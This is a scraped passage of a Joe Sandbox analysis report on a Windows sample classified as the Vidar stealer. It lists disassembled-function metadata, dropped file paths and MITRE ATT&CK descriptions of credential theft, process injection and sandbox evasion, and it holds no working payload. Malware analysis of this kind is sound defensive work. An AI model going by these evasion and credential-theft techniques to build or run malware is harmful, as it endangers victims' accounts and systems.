Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: DecodePointer__invoke_watson
String ID: `oB
API String ID: 4034010525-3441509862
Opcode ID: 779203a1aaeb03d43b64830f2e51fa7cac305d127fde01f6d986b025d8707358
Instruction ID: fdc168dd672af07a3762d27f3a0ff5e796e0f5a39b43396e79fa383250e3df95
Opcode Fuzzy Hash: 779203a1aaeb03d43b64830f2e51fa7cac305d127fde01f6d986b025d8707358
Instruction Fuzzy Hash: 9EE0EC7214010DBBDF112F62DD099AA3E6AEB44750B444425FF1880031EB37CDB1EBD8

Function 6C83B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C83B2C9,?,?,?,6C83B127,?,?,?,?,?,?,?,?,?,6C83AE52), ref: 6C83B628

Part of subcall function 6C8390E0: free.MOZGLUE(?,00000000,?,?,6C83DEDB), ref: 6C8390FF
Part of subcall function 6C8390E0: free.MOZGLUE(?,00000000,?,?,6C83DEDB), ref: 6C839108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C83B2C9,?,?,?,6C83B127,?,?,?,?,?,?,?,?,?,6C83AE52), ref: 6C83B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C83B2C9,?,?,?,6C83B127,?,?,?,?,?,?,?,?,?,6C83AE52), ref: 6C83B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6C83B127,?,?,?,?,?,?,?,?), ref: 6C83B74D

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: b08cb81e42063c7091cd73d90bfc6a05f924f340618585a6b50a77d2451e249b
Instruction ID: f5bfa4286cefb99102ec6fafb5202e66d8c81ba611807883fc263bab0f21375d
Opcode Fuzzy Hash: b08cb81e42063c7091cd73d90bfc6a05f924f340618585a6b50a77d2451e249b
Instruction Fuzzy Hash: 4751A0B1A05A258BDB24CF98CA8476AB7B5EF45304F45B929C85AAB701D731A804CBD1

Function 6C84B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C7F0A4D,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C84B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C7F0A4D,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C84B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C7F0A4D,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C84B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,6C7F0A4D,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C84B67F

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 0ae26c414139b68ffd4a988daad69ca6d51735710dce90a5b287e5a4d5647163
Instruction ID: 3c500313d442af765a8f4d19e1c4161ffcf7fa6300ca240304a50592bb7c69a6
Opcode Fuzzy Hash: 0ae26c414139b68ffd4a988daad69ca6d51735710dce90a5b287e5a4d5647163
Instruction Fuzzy Hash: 2D31D471A0161A8FDB20DF59C98466EBBB5FF81308F16C969C8069B205EB31ED15CBE1

Function 6C81F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C81F611
memcpy.VCRUNTIME140(?,?,?), ref: 6C81F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C81F652
memcpy.VCRUNTIME140(?,?,?), ref: 6C81F668

Memory Dump Source

Source File: 00000000.00000002.2788102826.000000006C7E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7E0000, based on PE: true

Associated: 00000000.00000002.2788005295.000000006C7E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788158189.000000006C85D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788193702.000000006C86E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2788213145.000000006C872000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7e0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: d4930a3023dd15aa45bf61bfcddb3d66a612863c64b9770c5d594c0a0822b394
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: BF316171A042199FC724CF1DCDC4ADB77F9EB98354B148938FA498BF05D671E9448B90

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	Command: Command Execution, Process: Process Creation, User Account: User Account Creation
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, User Account: User Account Creation, User Account: User Account Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Snort Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BFCAAEHJDB.exe

C:\ProgramData\DAEGIDHDHIDG\AAKEGI

C:\ProgramData\DAEGIDHDHIDG\BAKJKF

C:\ProgramData\DAEGIDHDHIDG\ECBGCG

C:\ProgramData\DAEGIDHDHIDG\EGCFHD

C:\ProgramData\DAEGIDHDHIDG\FHIEBK

C:\ProgramData\DAEGIDHDHIDG\FHIEBK-shm

C:\ProgramData\DAEGIDHDHIDG\GIIDBG

C:\ProgramData\DAEGIDHDHIDG\IDGDAA

Windows Analysis Report
file.exe

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may try to gather information about registered local system services. Adversaries may obtain information about services using tools as well as OS utility commands such as `sc query` , `tasklist /svc` , `systemctl --type=service` , and `net start` .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre